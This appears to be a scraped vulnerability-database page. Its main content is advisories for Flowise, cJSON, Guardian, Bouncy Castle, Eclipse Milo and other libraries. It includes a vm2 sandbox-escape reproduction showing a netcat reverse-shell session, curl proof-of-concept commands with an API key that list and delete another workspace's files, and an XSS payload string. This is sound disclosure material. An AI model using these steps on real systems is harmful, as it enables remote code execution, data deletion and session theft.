tput-chatOpenAI-ChatOpenAI|BaseChatOpenAI|BaseChatModel|BaseLanguageModel|Runnable-toolAgent_0-toolAgent_0-input-model-BaseChatModel\",\"source\":\"chatOpenAI_0\",\"sourceHandle\":\"chatOpenAI_0-output-chatOpenAI-ChatOpenAI|BaseChatOpenAI|BaseChatModel|BaseLanguageModel|Runnable\",\"target\":\"toolAgent_0\",\"targetHandle\":\"toolAgent_0-input-model-BaseChatModel\",\"type\":\"buttonedge\"}],\"viewport\":{\"x\":372.22296982366913,\"y\":-109.94336492566799,\"zoom\":0.8069922237942956}}"} ``` 6. Send a chat message using the Chatflow and observe the reverse shell payload being executed outside the `vm2` sandbox, as shown in the terminal output below. ```terminal $ nc -lnvp 1337 Listening on 0.0.0.0 1337 Connection received on 172.17.0.2 45533 id uid=1000(node) gid=1000(node) groups=1000(node),1000(node) ls -al total 36 drwxrwxr-x 1 node node 4096 Apr 9 07:49 . drwxrwxr-x 1 node node 4096 Apr 11 10:03 .. -rw-rw-r-- 1 node node 21 Apr 9 07:49 .gitattributes -rwxrwxr-x 1 node node 419 Apr 9 07:49 dev -rwxrwxr-x 1 node node 30 Apr 9 07:49 dev.cmd -rwxr-xr-x 1 node node 143 Apr 9 07:49 run -rwxrwxr-x 1 node node 30 Apr 9 07:49 run.cmd cd /usr/src/flowise ls CODE_OF_CONDUCT.md CONTRIBUTING.md Dockerfile LICENSE.md README.md SECURITY.md artillery-load-test.yml assets docker i18n images metrics node_modules package.json packages pnpm-lock.yaml pnpm-workspace.yaml turbo.json cat .git/HEAD ref: refs/heads/main cat .git/refs/heads/main dddfb3c90eec900d747790a439bd362a764039cd <1> ``` <1> Confirmation that the sandbox escape impacts Flowise commit `dddfb3c90eec900d747790a439bd362a764039cd`. III. Impact This sandbox escape vulnerability allows an authenticated user to execute arbitrary code on a server running Flowise that uses the default `vm2` sandbox, resulting in full compromise of the application. IV. Solution The current maintainers of the `vm2` sandbox strongly advise against executing untrusted code within it due to security risks (https://github.com/patriksimek/vm2?tab=readme-ov-file#important-security-disclaimer). To prevent JavaScript sandbox escapes in Flowise, a more secure alternative, such as https://github.com/laverdet/isolated-vm, should be used. Updating to the latest version of `vm2` sandbox will not patch this sandbox escape vulnerability. V. References * `vm2` Security Disclaimer: https://github.com/patriksimek/vm2?tab=readme-ov-file#important-security-disclaimer * `isolated-vm`: https://github.com/laverdet/isolated-vm

CVE-2026-67217MEDIUM5.3EPSS 14%Analyzed

cJSON through 1.7.19 applies RFC 6902 JSON Patch operations non-atomically in apply_patch() in cJSON_Utils.c. For a replace operation that is missing its value member, or a move operation whose destination path cannot be resolved, the existing target member is detached and deleted before the operation is fully validated, so the target document is mutated while cJSONUtils_ApplyPatches() or cJSONUtils_ApplyPatchesCaseSensitive() returns a failure status. An attacker who can supply the patch document can destroy addressable members of the target document even though the API reports that the patch failed, defeating the all-or-nothing behavior callers rely on to reject bad patches.

CVE-2026-69252NONE

# summary: In Flowise, the `/api/v1/files` route is protected only by the `feat:files` feature gate and does not enforce `checkPermission(...)` on either `GET` or `DELETE`. As a result, any authenticated API key within the organization, even one with unrelated permissions, can list and delete files belonging to other workspaces in the same organization. # details: The `/files` route is mounted with `IdentityManager.checkFeatureByPlan('feat:files')` only and has no additional permission middleware. In the controller: - `getAllFiles` uses only `req.user.activeOrganizationId` and calls `getFilesListFromStorage(activeOrganizationId)`, which recursively lists files under the organization storage root - `deleteFile` reads `activeWorkspaceId`, but only uses it for storage quota bookkeeping; the actual deletion is performed using `activeOrganizationId + user-controlled path` As a result, the API key’s `permissions` and `activeWorkspaceId` are not used to restrict file access. In the local test environment,an API key bound to workspace `1592b32a-a11b-4996-80b6-e1c4c2969d88` with only `["tools:view"]` was created, then successfully: - called `GET /api/v1/files` and received `200 OK` - listed a test file stored under a different workspace, `f92a9a4d-392e-4db2-af82-d14e1d553446` - called `DELETE /api/v1/files?path=f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt` and received `200 OK` - confirmed the file was removed by re-querying the file list # impact: Any low-privileged API key holder within the same organization can list and delete files from other workspaces without any file-specific permission. This breaks workspace isolation inside the organization and can lead to unauthorized file access and destructive tampering. # reproduction steps: 1. Log in as a user who can create API keys, and create a key with only an unrelated permission, for example: ```bash curl -i -b tamako.cookie \ -H 'x-request-from: internal' \ -H 'Content-Type: application/json' \ -d '{"keyName":"poc-files-noperm","permissions":["tools:view"]}' \ http://localhost:8080/api/v1/apikey ``` 2. Record the returned API key. In my local test, the key was: - `ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E` 3. Prepare a test file under a different workspace within the same organization, for example: - `f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt` 4. Use the low-privileged API key to list files: ```bash curl -i \ -H 'Authorization: Bearer ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E' \ http://localhost:8080/api/v1/files ``` 5. Observe a `200 OK` response that includes a file from another workspace, for example: ```json [{"name":"poc-cross-workspace.txt","path":"f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt","size":19}] ``` 6. Use the same API key to delete that file: ```bash curl -i -X DELETE --get \ -H 'Authorization: Bearer ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E' \ --data-urlencode 'path=f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt' \ http://localhost:8080/api/v1/files ``` 7. Observe a `200 OK` response: ```json {"message":"file_deleted"} ``` 8. Call `GET /api/v1/files` again and confirm that the file is no longer present.

CVE-2026-66884NONEAwaiting

Cross-Site Request Forgery vulnerability in Erlang Ecosystem Foundation oidcc_plug (Oidcc.Plug.AuthorizationCallback module) allows an attacker to make a victim's browser complete an authorization flow the victim never initiated. This vulnerability is associated with program file lib/oidcc/plug/authorization_callback.ex and program routine Oidcc.Plug.AuthorizationCallback.call/2. A callback request that carries no Oidcc.Plug.Authorize session is processed with every security check disabled rather than being rejected. call/2 substitutes permissive defaults for the absent session, and each downstream check treats its value as nothing to compare and returns :ok, so the nonce, state, PKCE, peer IP and user agent checks are all skipped. A separate clause of check_state/2 also accepts a state-less request when a verifier is present. An attacker obtains an authorization code for their own provider account, then induces the victim to visit the callback endpoint with that code and no state parameter. The application signs the victim in as the attacker, so the victim's subsequent actions occur in the attacker's account where the attacker can read them. Applications reusing one callback for both signing in and linking a provider account are further exposed to account takeover, the attacker's account becoming linked to the victim's. The permissive fallback serves no conforming flow. Third-party-initiated login reaches a relying party at a separate login initiation endpoint and causes it to send a fresh authentication request, and this library implements no such endpoint. Oidcc.Plug.Authorize always sends a state parameter, which an authorization server must echo, so no legitimate callback lacks one. This issue affects oidcc_plug: from 0.2.0-beta.1 before 0.5.0.

CVE-2026-66883NONEAwaiting

Improper Handling of Case Sensitivity vulnerability in Erlang Ecosystem Foundation oidcc_plug (Oidcc.Plug.Authorize module) renders the user agent session binding inert, removing a defense in depth control against replay of a stolen session. This vulnerability is associated with program files lib/oidcc/plug/authorize.ex and lib/oidcc/plug/authorization_callback.ex, and program routines Oidcc.Plug.Authorize.call/2 and Oidcc.Plug.AuthorizationCallback.call/2. Oidcc.Plug.Authorize.call/2 reads the initiating client's user agent with get_req_header(conn, "User-Agent"). Plug lowercases incoming header names, but get_req_header/2 matches the supplied key exactly and performs no normalization of its own, so the mixed-case lookup always returns an empty list and nil is written into the session. On the callback side, Oidcc.Plug.AuthorizationCallback treats a stored nil user agent as nothing to compare and returns :ok without inspecting the request. The two behaviours combine so that the check passes unconditionally on every request, including for deployments that explicitly opted in with check_useragent: true, and an authorization callback can be completed from a different user agent than the one that initiated the flow without detection. The check fails open silently, with no error and no log entry, so a deployment cannot tell the binding is absent. The impact is limited to defense in depth. The inert check does not by itself allow an attacker to complete an authorization flow; it removes one layer that would otherwise hinder use of a stolen or leaked session, such as an exfiltrated session cookie replayed from a different client. The CSRF/state, nonce, and PKCE checks are unaffected and continue to function. Deployments that never enabled check_useragent are not affected in practice, since they never expected the binding. The corresponding lookup in Oidcc.Plug.AuthorizationCallback correctly uses the lowercase key and is not affected. This issue affects oidcc_plug: from 0.1.0-alpha.3 before 0.5.0.

CVE-2026-66296NONEAwaiting

Improper Neutralization of Input During Web Page Generation (XSS) vulnerability in lud oaskit allows reflected cross-site scripting via the default HTML error handler. Oaskit.ErrorHandler.Default.format_reason/4 and Oaskit.ErrorHandler.Default.reason_to_html/1 in lib/oaskit/error_handler/default.ex render request-validation failures as an HTML page whenever the request's Accept header contains html, interpolating request-controlled strings into that page without HTML escaping. The unescaped values are object keys taken from a request body or from an object or deepObject query parameter, which appear in the JSON Schema error's instance path when a schema rejects them (for example under additionalProperties: false), and the raw Content-Type header, reflected in unsupported-media-type errors when it fails to parse. Because browsers send Accept: text/html on ordinary top-level navigation, a crafted GET link is sufficient to trigger the error page; no form submission, custom Content-Type, or attacker-controlled script on the victim's side is required. A payload such as filter[</code></h2><script>alert(document.domain)</script>]=x terminates the enclosing markup and the injected script executes in the origin of the application using oaskit, giving it access to that origin's cookies, session, and same-origin responses. Both HTML error rendering and the vulnerable handler are enabled by default: Oaskit.Plugs.ValidateRequest defaults :html_errors to true and :error_handler to Oaskit.ErrorHandler.Default, so applications following the documented usage are affected without any opt-in. This issue affects oaskit: from 0.1.0 before 0.14.1.

CVE-2026-65636NONEEPSS 4%Awaiting

Improper Neutralization of CRLF Sequences vulnerability in ufirstgroup ymlr (Elixir.Ymlr module) allows attackers to inject arbitrary content into generated YAML documents through document comments. Ymlr.document!/2 interpolates each caller-supplied comment string into the output behind a single # prefix without validating it or escaping line breaks. Because a YAML comment is terminated by a line break, the first carriage return or line feed in the comment string ends the comment context and everything after it is emitted at column 0 of the document body. An attacker who controls text that the host application passes as a comment can forge top-level mapping keys, override values the application itself set, and emit --- or ... markers that split the output into additional documents. Downstream consumers of the generated YAML, such as configuration loaders, deployment manifests, CI pipelines and data importers, parse the injected content as legitimate data. The same clause backs Ymlr.document/2, Ymlr.documents!/2 and Ymlr.documents/2, so every document encoding entry point is affected. This vulnerability is associated with program files lib/ymlr.ex and program routines 'Elixir.Ymlr':document!/2, 'Elixir.Ymlr':documents!/2. This issue affects ymlr from 0.0.1 before 5.1.6.

CVE-2026-63252NONEAwaiting

In Eclipse Milo versions 0.6.0 through 1.1.4, UASC server transport handlers fail to release retained partial message chunks when a channel disconnects, allowing a remote unauthenticated client to exhaust pooled direct memory by repeatedly sending incomplete chunks and disconnecting, potentially terminating the server.

CVE-2026-63248NONEAwaiting

In Eclipse Milo versions 0.6.0 through 1.1.4, OPC UA server diagnostics nodes do not enforce access authorization. An anonymous client can enable diagnostics over a None/None endpoint without a certificate; with a trusted client application certificate over SignAndEncrypt, it can read security diagnostics for other active sessions, exposing usernames, login history, authentication mechanisms, security modes and policies, and public client certificates.

CVE-2026-62927NONEAwaiting

In Eclipse Milo versions 1.0.0 through 1.1.4, the Call service dispatches the original mixed batch to address-space handlers after calculating authorization, allowing an anonymous or otherwise low-privileged client to execute a denied method by batching it with an allowed method.

CVE-2026-61387NONEAwaiting

In Eclipse Milo versions 1.0.0 through 1.1.4, monitored-item quota accounting is not exception-safe: if item creation fails with an unchecked error, the server-global reservation is not restored. Deeply nested PubSub ExtensionObjects in a `CreateMonitoredItems` event filter can trigger a `StackOverflowError` during decoding, allowing an unauthenticated remote client to exhaust a finite global monitored-item quota and prevent all clients from creating new monitored items until restart. Existing monitored items and other server functions remain unaffected.

CVE-2026-60007NONEAwaiting

In Eclipse Milo versions 0.6.0 through 1.1.4, username-token processing returns distinguishable errors for invalid RSA PKCS#1 v1.5 padding and other authentication failures, allowing an on-path attacker who captures a victim's `Basic128Rsa15`-encrypted username token to use repeated unauthenticated `ActivateSession` requests as a padding oracle, recover the victim's password, and authenticate with the recovered credentials.

CVE-2026-58080NONEAwaiting

In Eclipse Milo versions 1.0.0 through 1.1.4, `OpcUaServerConfig.copy()` fails to preserve a configured `RoleMapper`. On servers that rely on role permissions and construct the running configuration through `copy()`, sessions receive no role IDs and the default access controller skips role-permission checks, allowing an anonymous client where anonymous sessions are permitted to read role-permission metadata, invoke protected methods, or delete protected nodes.

CVE-2026-55735NONEEPSS 13%Awaiting

Improper Verification of Cryptographic Signature in ueberauth guardian allows an unauthenticated attacker to revoke a victim's session with a forged token. Guardian.revoke/3 in lib/guardian.ex decodes the supplied token with peek/1, which performs no signature verification (it only base64-decodes the JWT header and payload). The resulting unverified claims are forwarded directly to the configured token module's revoke callback and the implementation's on_revoke callback, a state-mutating sink. The sibling operations refresh/2 and exchange/4 both call decode_and_verify first, so the signature is checked before anything acts on the claims; revoke/3 is the only state-mutating path that acts on claims without verifying the signature. An attacker who knows or guesses a victim's identifying claim values (jti, sub) can forge a JWT carrying those claims, sign it with an arbitrary key, and submit it to any endpoint that funnels a caller-supplied token into Guardian.revoke/3 (the standard logout / session-revocation pattern). When the token module mutates state keyed by the claims (whitelist deletion or blacklist insertion, for example a GuardianDb-style store), the victim's legitimate session is evicted. This is an unauthenticated session-revocation denial of service; the attacker never needs the signing secret. This issue affects guardian: from 1.0.0 before 2.4.1.

CVE-2026-55734NONEEPSS 3%Awaiting

Allocation of Resources Without Limits or Throttling vulnerability in ueberauth guardian (Guardian.Permissions module) allows a denial of service via BEAM atom-table exhaustion. This vulnerability is associated with program file lib/guardian/permissions.ex and program routines 'Elixir.Guardian.Permissions':encode_permissions!/1, 'Elixir.Guardian.Permissions':encode_permissions_into_claims!/2, 'Elixir.Guardian.Permissions':do_encode_permissions!/2. The Guardian.Permissions mixin installs a public encode_permissions!/1 function on every module that does use Guardian.Permissions. For each key of the supplied map, encode_permissions!/1 calls String.to_atom(to_string(k)) before any validation runs. The integer-value clause of do_encode_permissions!/2 then short-circuits straight to encoding without validating the key against the configured permission set, so a key with an integer value is interned as a fresh atom with no exception raised. Atoms are never garbage collected and the BEAM atom table is a fixed-size resource (default roughly 1,048,576 entries), so each unique attacker-chosen key permanently consumes one slot. An attacker who can influence a permission map that reaches encode_permissions!/1 (for example a permissions map read from a request body and passed into token issuance via encode_permissions_into_claims!/2) can mint an unbounded number of atoms and exhaust the atom table, crashing the entire BEAM node and every service running on it. The sibling decode_permissions/1 is not affected because it skips keys absent from the configured permission set. This issue affects guardian: from 2.0.0 before 2.4.1.

CVE-2026-55733NONEEPSS 3%Awaiting

Allocation of Resources Without Limits or Throttling in ueberauth guardian allows denial of service via unbounded atom creation from attacker-controlled binary input. Guardian.Permissions.AtomEncoding encodes permission scopes by passing arbitrary binaries to String.to_atom/1. When encode/3 in lib/guardian/permissions/atom_encoding.ex is called with a list, each binary entry is handled by the encode_value/3 binary clause, which calls String.to_atom(value) with no allow-list check. The perm_set argument (the application's small, finite set of legitimate permission names) is discarded, so any external string flows straight into atom creation. This encoder is selected with use Guardian.Permissions, encoding: Guardian.Permissions.AtomEncoding and reached through the imported encode/3 entry point. String.to_atom/1 creates a brand-new atom for every previously unseen binary, atoms are never garbage collected, and the BEAM atom table is fixed at roughly 1,048,576 entries by default. An application that funnels attacker-influenced permission scopes (from a request body, a JWT claim, or other external input) into encode/3 therefore mints one permanent atom per distinct value. A modest stream of varied, unauthenticated input permanently consumes the atom table and crashes the BEAM node with system_limit, taking down every application running on it. The default encoder is Guardian.Permissions.BitwiseEncoding, which is not affected. This issue affects guardian: from 2.0.0 before 2.4.1.

CVE-2026-54894NONEEPSS 3%Awaiting

Allocation of Resources Without Limits or Throttling in ueberauth guardian allows denial of service via unbounded atom creation from attacker-influenced binary input. Guardian.Plug.Keys derives connection and session namespace keys by passing arbitrary binaries to String.to_atom/1. base_key/1 in lib/guardian/plug/keys.ex converts any binary into the atom :"guardian_<input>", and the derived helpers claims_key/1, resource_key/1, and token_key/1 create a second atom on top of that. key_from_other/1 likewise converts a regex-captured binary through String.to_atom/1. The public specs advertise String.t() as a valid argument, so passing a string is documented usage, and higher-level entry points such as Guardian.Plug.current_token(conn, key: key) thread the caller-supplied key straight into these functions. String.to_atom/1 creates a brand-new atom for every previously unseen binary, atoms are never garbage collected, and the BEAM atom table is fixed at roughly 1,048,576 entries by default. An application that routes attacker-influenced data (a tenant identifier, header, or other request input) into a Guardian key therefore mints one permanent atom per distinct value. A modest stream of varied, unauthenticated input permanently consumes the atom table and crashes the BEAM node, taking down every application running on it. This issue affects guardian: from 0.1.0 before 2.4.1.

CVE-2026-10050NONEAwaiting

In Eclipse Jetty, the Digest authentication server-side component uses ISO-8859-1 to encode the password as bytes. This was done because the initial specification for HTTP did not specify explicitly a charset, and it was assumed to be ISO-8859-1 for historical reasons. If the password contains characters that cannot be represented in ISO-8859-1, they are silently replaced by `?`. This happens with passwords that contain Chinese, Cyrillic or Greek characters, for example: `αβ123` converts to `??123`. An attacker can send a request with a digest `Authorization` header crafted with a password made of only `?` characters; the server would match any password of the same length that contains non-ISO-8859-1 characters. Recent HTTP Digest [RFC-7616](https://datatracker.ietf.org/doc/html/rfc7616) supports a `charset` parameters that defaults to UTF-8 that allows for correct encoding/decoding of passwords.

CVE-2026-59913HIGH7.8Awaiting

Dell Display and Peripheral Manager (DDPM Mac), versions prior to 2.3.0.1005, contain a Missing Authentication for Critical Function vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Elevation of privileges.

CVE-2026-59912HIGH7.8Awaiting

Dell Display and Peripheral Manager (DDPM Mac), versions prior to 2.3.0.1005, contain an Improper Access Control vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Elevation of privileges and arbitrary code execution.

CVE-2026-40717MEDIUM6.6Awaiting

Dell Monitor driver, version 1.0.0.0, contains an Improper Link Resolution Before File Access ('Link Following') vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Elevation of Privileges.

CVE-2026-8763NONEEPSS 26%Awaiting

In Bouncy Castle for Java before 1.85, Name Constraints bypass via trailing dot in rfc822Name and URI. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bc-fips 1.0.2.7 (1.0.X series), 2.0.2 (2.0.X series) and 2.1.3 (2.1.X series).

CVE-2026-59652NONEEPSS 27%Awaiting

In Bouncy Castle for Java before 1.85, LDAP filter injection in legacy jdk1.4 LDAPStoreHelper.

CVE-2026-59651NONEEPSS 7%Awaiting

In Bouncy Castle for Java before 1.85, BKS keystore accepts legacy version with 16-bit integrity MAC key. This issue also affects Bouncy Castle for Java LTS before 2.73.12.

CVE-2026-59650NONEEPSS 18%Awaiting

In Bouncy Castle for Java before 1.85, MTI/A0 DH agreement exponentiates unvalidated peer value. This issue also affects Bouncy Castle for Java LTS before 2.73.12.

CVE-2026-59649NONEEPSS 18%Awaiting

In Bouncy Castle for Java before 1.85, OpenPGP user-attribute subpacket length bounded only by JVM max memory. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bcpg-fips 1.0.13 (1.0.X series), 2.0.13 (2.0.X series) and 2.1.13 (2.1.X series).

CVE-2026-59648NONEEPSS 18%Awaiting

In Bouncy Castle for Java before 1.85, OpenPGP Argon2 S2K honours attacker-chosen memory and passes. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bcpg-fips 1.0.13 (1.0.X series), 2.0.13 (2.0.X series) and 2.1.13 (2.1.X series).

CVE-2026-59647NONEEPSS 18%Awaiting

In Bouncy Castle for Java before 1.85, CRMF/CMP password-MAC honours unbounded iteration count. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bcpkix-fips 1.0.12 (1.0.X series), 2.0.12 (2.0.X series) and 2.1.12 (2.1.X series).

CVE-2026-59646NONEEPSS 21%Awaiting

In Bouncy Castle for Java before 1.85, DTLS handshake reassembler allocates buffer from unchecked 24-bit length. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bctls-fips 1.0.24 (1.0.X series), 2.0.24 (2.0.X series) and 2.1.24 (2.1.X series).

CVE-2026-59645NONEEPSS 18%Awaiting

In Bouncy Castle for Java before 1.85, OER parser recurses without depth limit on self-referential IEEE 1609.2 schema. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bcutil-fips 2.0.7 (2.0.X series) and 2.1.7 (2.1.X series).

CVE-2026-59644NONEEPSS 18%Awaiting

In Bouncy Castle for Java before 1.85, MLS hash-ratchet honours arbitrary 32-bit generation counter from sender.

CVE-2026-59643NONEEPSS 7%Awaiting

In Bouncy Castle for Java before 1.85, OpenPGP inline-signature policy failures silently ignored. This issue also affects Bouncy Castle for Java FIPS (BC-FJA) before bcpg-fips 2.0.13.

CVE-2026-59642NONEEPSS 5%Awaiting

In Bouncy Castle for Java before 1.85, CMS AuthenticatedData content not bound to MAC when authAttrs present. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bcpkix-fips 1.0.12 (1.0.X series), 2.0.12 (2.0.X series) and 2.1.12 (2.1.X series).

CVE-2026-59641NONEEPSS 7%Awaiting

In Bouncy Castle for Java before 1.85, S/MIME validator trusts signer-asserted signingTime for path validation. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bcmail-fips and bcjmail-fips 1.0.7 (1.0.X series), 2.0.7 (2.0.X series) and 2.1.7 (2.1.X series).

CVE-2026-59640NONEEPSS 18%Awaiting

In Bouncy Castle for Java before 1.85, OpenPGP CFB quick-check oracle active on symmetric/session-key paths. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bcpg-fips 1.0.13 (1.0.X series), 2.0.13 (2.0.X series) and 2.1.13 (2.1.X series).

CVE-2026-59639NONEEPSS 7%Awaiting

In Bouncy Castle for Java before 1.85, CMS verifySignatures returns true for SignedData with zero signers. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bcpkix-fips 1.0.12 (1.0.X series), 2.0.12 (2.0.X series) and 2.1.12 (2.1.X series).

CVE-2026-59638NONEEPSS 20%Awaiting

In Bouncy Castle for Java before 1.85, JSSE hostname verifier CN-fallback enabled by default despite documented opt-in. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bctls-fips 1.0.24 (1.0.X series), 2.0.24 (2.0.X series) and 2.1.24 (2.1.X series).

CVE-2026-58063NONEEPSS 25%Awaiting

In Bouncy Castle for Java before 1.85, BCFKS keystore load honours unbounded KDF cost from untrusted file. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bc-fips 1.0.2.7 (1.0.X series), 2.0.2 (2.0.X series) and 2.1.3 (2.1.X series).

CVE-2026-58062NONEEPSS 10%Awaiting

In Bouncy Castle for Java before 1.85, Stapled OCSP response accepted without binding to the checked certificate. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bc-fips 2.0.2 (2.0.X series) and 2.1.3 (2.1.X series).

CVE-2026-58061NONEEPSS 12%Awaiting

In Bouncy Castle for Java before 1.85, CCM-family modes write plaintext to caller buffer before tag check. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bc-fips 1.0.2.7 (1.0.X series), 2.0.2 (2.0.X series) and 2.1.3 (2.1.X series).

CVE-2026-58060NONEEPSS 29%Awaiting

In Bouncy Castle for Java before 1.85, HSS public-key level count unbounded, enabling huge allocation on verify. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bc-fips 2.0.2 (2.0.X series) and 2.1.3 (2.1.X series).

CVE-2026-58059NONEEPSS 25%Awaiting

In Bouncy Castle for Java before 1.85, Quadratic-time escaping when stringifying X.500 distinguished names. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bc-fips 1.0.2.7 (1.0.X series), 2.0.2 (2.0.X series) and 2.1.3 (2.1.X series).

CVE-2026-15055NONEEPSS 18%Awaiting

In Bouncy Castle for Java before 1.85, PKCS#8 / PBES2 decryptors honour unbounded KDF cost from input. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bcpkix-fips 1.0.12 (1.0.X series), 2.0.12 (2.0.X series) and 2.1.12 (2.1.X series).

CVE-2026-14682NONEEPSS 18%Awaiting

In Bouncy Castle for Java before 1.85, Possible OOM from unbounded up-front allocation on a definite-length read. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bc-fips 1.0.2.7 (1.0.X series), 2.0.2 (2.0.X series) and 2.1.3 (2.1.X series), and before bctls-fips 1.0.24.

CVE-2026-13586NONEEPSS 22%Awaiting

In Bouncy Castle for Java before 1.85, PKCS#12 MAC and bag-decryption KDF iteration-count bound (DoS). This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bc-fips 1.0.2.7 (1.0.X series), 2.0.2 (2.0.X series) and 2.1.3 (2.1.X series).

CVE-2026-13506NONEEPSS 18%Awaiting

In Bouncy Castle for Java before 1.85, Lazy ASN.1 sequence forcing resets nesting-depth guard. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bc-fips 1.0.2.7 (1.0.X series), 2.0.2 (2.0.X series) and 2.1.3 (2.1.X series).

CVE-2026-12860NONEEPSS 7%Awaiting

In Bouncy Castle for Java before 1.85, RSA PKCS#1 verification skips last two hash bytes in NULL-omitted path. This issue also affects Bouncy Castle for Java LTS before 2.73.12.

CVE-2026-12852NONEEPSS 18%Awaiting

In Bouncy Castle for Java before 1.85, MLS wire decoder allocates attacker-declared opaque length before bounds check.

CVE-2026-12817NONEEPSS 5%Awaiting

In Bouncy Castle for Java before 1.85, OpenPGP AEAD decryption skips final tag on chunk-aligned data. This issue also affects Bouncy Castle for Java LTS before 2.73.12, and Bouncy Castle for Java FIPS (BC-FJA) before bcpg-fips 1.0.13 (1.0.X series), 2.0.13 (2.0.X series) and 2.1.13 (2.1.X series).

CVE-2026-12816NONEEPSS 5%Awaiting

In Bouncy Castle for Java before 1.85, IESEngine stream-mode MAC forgery via length-dependent KDF split. This issue also affects Bouncy Castle for Java LTS before 2.73.12.

373,955 CVEs
1 / 7480

CVE-2026-6857

HIGH7.5PoCAwaiting
CNA: redhatPublished: 2026-04-22Modified: about 2 hours ago
Open full
Description

A flaw was found in camel-infinispan. This vulnerability involves unsafe deserialization in the ProtoStream remote aggregation repository. A remote attacker with low privileges could exploit this by sending specially crafted data, leading to arbitrary code execution. This allows the attacker to gain full control over the affected system, impacting its confidentiality, integrity, and availability.

CVSS v3.1
7.5
HIGH
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H
AVNACHPRLUINSUCHIHAH
CVSS across sources18
VersionTypeSourceBaseExpImp
3.1Primarycve.org7.5——
3.1Primarycve.org7.5——
3.1Primarycve.org7.5——
3.1Primarycve.org7.5——
3.1Primarycve.org7.5——
3.1Primarycve.org7.5——
3.1Primarycve.org7.5——
3.1Primarycve.org7.5——
3.1Primarycve.org7.5——
3.1Primarycve.org7.5——
3.1Primarycve.org7.5——
3.1Primarycve.org7.5——
3.1Primarycve.org7.5——
3.1Primarycve.org7.5——
3.1SecondaryGHSA7.5——
3.1SecondaryENISA EUVD7.5——
3.1SecondaryNVD7.51.65.9
3.1SecondaryNVD7.51.65.9
Modification timeline
  • GitHub PoC15 minutes ago2248 obs
  • ENISA EUVDabout 1 hour ago16 obs
  • NVDabout 2 hours ago7 obs
  • cve.orgabout 3 hours ago8 obs
  • OSV.devabout 12 hours ago49 obs
  • EPSSabout 14 hours ago54 obs
Vendor statements2
  • access.redhat.com
  • access.redhat.com
Timeline
  1. 2026-04-22
    CVE published
  2. 2026-05-16
    Public exploit published on github_poc
  3. 2026-06-15
    First observed by epss
  4. 2026-06-15
    First observed by github_poc
  5. 2026-06-15
    First observed by osv
  6. 2026-06-15
    First observed by cve_org
  7. 2026-06-15
    First observed by nvd
  8. 2026-06-17
    First observed by ghsa
  9. 2026-08-03
    First observed by euvd
  10. 2026-08-04
    Last metadata update